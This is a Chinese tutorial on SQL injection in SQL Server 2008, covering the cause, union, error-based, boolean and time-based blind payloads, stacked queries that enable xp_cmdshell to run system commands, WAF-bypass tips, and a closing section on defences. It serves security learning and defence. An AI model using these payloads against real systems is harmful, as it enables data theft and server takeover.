说明:本文用于安全学习、代码审计、漏洞防御,禁止用于未授权渗透测试,非法测试需承担法律责任 。 SQL Server 2008 支持
xp_cmdshell、多语句执行、堆叠查询、错误回显、布尔盲注、时间盲注,注入利用方式非常丰富。
一、产生注入的根本原因
应用直接拼接用户输入到SQL语句,没有参数化。
危险示例(C# / 程序伪代码)
ini
-- 用户输入: id=1
string sql = "select * from users where id = " + Request["id"];
用户传入恶意 payload:id=1 or 1=1 -- 最终执行SQL变成:
sql
select * from users where id = 1 or 1=1 --
-- 是SQL Server注释符,后面语句全部注释。
✅ 正确方案:参数化查询(SqlCommand + SqlParameter),禁止字符串拼接SQL
二、SQLServer 2008 基础语法要点(注入必备)
- 注释:
--单行注释;/* */多行注释 - 堆叠查询:分号
;可以执行多条SQL
sql
select * from users;drop table test;--
- 字符串拼接:
'a'+'b' - 系统数据库
master:核心系统库,存储所有数据库、账号配置information_schema:表、列元数据(2008支持)sys.databases查询所有库sys.tables查询当前库所有表sys.columns查询列
3.内置关键函数 |函数|作用| |---|---
| |db_name()|获取当前数据库名
| |user_name()|当前数据库用户
| |@@version|SQL Server版本信息
| |@@servername|服务器主机名
| |master..xp_cmdshell|执行系统命令(高危存储过程,默认关闭)
| |cast(xxx as varchar)|类型转换,用于报错注入
| |substring(str,start,len)|截取字符串,盲注核心|
权限区分:
-
sa权限:最高权限,可开启xp_cmdshell执行系统命令
-
db_owner:数据库所有者,可以读写表,不一定能执行命令
-
public普通用户:只能读取部分表数据
三、注入类型实战 payload(SQL Server2008)
假设原始语句:select * from news where id=用户输入
1. 联合查询注入 union select
前提:页面会返回查询结果,前后字段数量必须一致。
- 判断字段数
id=1 order by 3 --
order by N,页面报错代表字段小于N;正常代表>=N。
2.union 查询,获取版本、库名 假设字段数为3:
sql
id=-1 union select 1,@@version,db_name() --
注意:前面查询返回0行,使用
-1让前面无结果,union的结果展示出来。
3.查询所有数据库名称
sql
id=-1 union select 1,name,0 from master..sysdatabases --
4.查询当前库所有表
sql
id=-1 union select 1,name,0 from sys.tables --
5.查询表的列
sql
id=-1 union select 1,name,0 from sys.columns where object_id=object_id('users') --
2. 报错注入(页面返回数据库错误信息,无回显数据)
利用cast转换错误,把查询的数据抛到错误信息里显示。
csharp
id=1 and 1=cast((select db_name()) as int)--
逻辑:db_name()得到字符串,强行转int,SQL抛出转换失败,字符串内容出现在报错信息中。
获取数据库名:
sql
id=1 and 1=cast((select top 1 name from master..sysdatabases) as int)--
获取下一条数据,用 not in:
sql
id=1 and 1=cast((select top 1 name from master..sysdatabases where name not in ('master')) as int)--
3. 布尔盲注(页面只有两种状态:正常/错误,无数据、无报错)
根据页面返回真假,逐个猜字符。 substring(字符串,位置,1)截取单个字符;ascii()取字符ascii码。
python
-- 判断当前库第一个字符ascii码是否等于d
id=1 and ascii(substring(db_name(),1,1))=100 --
页面正常=条件成立;页面异常=条件不成立。配合脚本爆破每一位字符。
4. 时间盲注(页面无任何变化,通过延时判断条件真假)
waitfor delay '0:0:5' 延时5秒。
ini
id=1;if(ascii(substring(db_name(),1,1))=100) waitfor delay '0:0:5' --
如果页面响应延迟5秒,则条件成立。适合完全无回显环境。
注意:堆叠查询
;部分环境会被WAF拦截。
四、sa高权限:xp_cmdshell执行系统命令(SQL Server2008)
SQL Server2008默认禁用xp_cmdshell,需要先启用
- 开启xp_cmdshell
sp_configure 'show advanced options',1; reconfigure; sp_configure 'xp_cmdshell',1; reconfigure;
注入payload(堆叠)
id=1;sp_configure 'show advanced options',1;reconfigure;sp_configure 'xp_cmdshell',1;reconfigure;--
2. 执行系统命令
bash
id=1;exec master..xp_cmdshell 'whoami';--
执行whoami查看SQL服务运行身份,如果是system权限,可完全控制服务器。
很多环境sa账号不具备操作系统权限,xp_cmdshell执行失败,属于常见情况。
关闭xp_cmdshell:
arduino
sp_configure 'xp_cmdshell',0;reconfigure;
五、SQL Server 2008注入常见坑点
- 堆叠查询分号
;:部分代码只执行第一条SQL,;堆叠失效,无法执行多条语句,只能union/盲注。 - 单引号过滤 :如果输入点是字符串类型
where name='xxx',注入需要闭合单引号';数字型不需要引号。 - WAF过滤or、and、union :可以大小写变形
UnIoN、注释绕过--``/*xxx*/。 information_schema在2008可用,但权限不足时查询为空,改用系统表sys.databases sys.tables sys.columns。- xp_cmdshell 需要sa权限,普通数据库用户无法调用。
- SQL Server 2008 R2 和2008注入语法完全一致。
六、漏洞防御方案(重点)
1. 强制使用参数化查询(最核心)C#示例
ini
string sql = "select * from news where id=@id";
SqlCommand cmd = new SqlCommand(sql,conn);
cmd.Parameters.AddWithValue("@id",Request["id"]);
用户输入永远作为参数值,不会拼接进SQL语法。杜绝拼接字符串构造SQL语句。
2. 最小权限原则
- 业务连接数据库账号禁止sa账号;
- 业务账号只给DML权限,禁止访问master库、禁止xp_cmdshell;
- 关闭不需要存储过程
xp_cmdshell、xp_regread等。
3. 输入校验
对数字输入强制转换整数;字符串做长度、白名单校验。
4. 错误页面处理
生产环境禁止返回完整SQL错误堆栈,统一自定义错误页,防止报错注入。
5. 数据库层面
ini
-- 关闭xp_cmdshell
sp_configure 'xp_cmdshell',0;
reconfigure;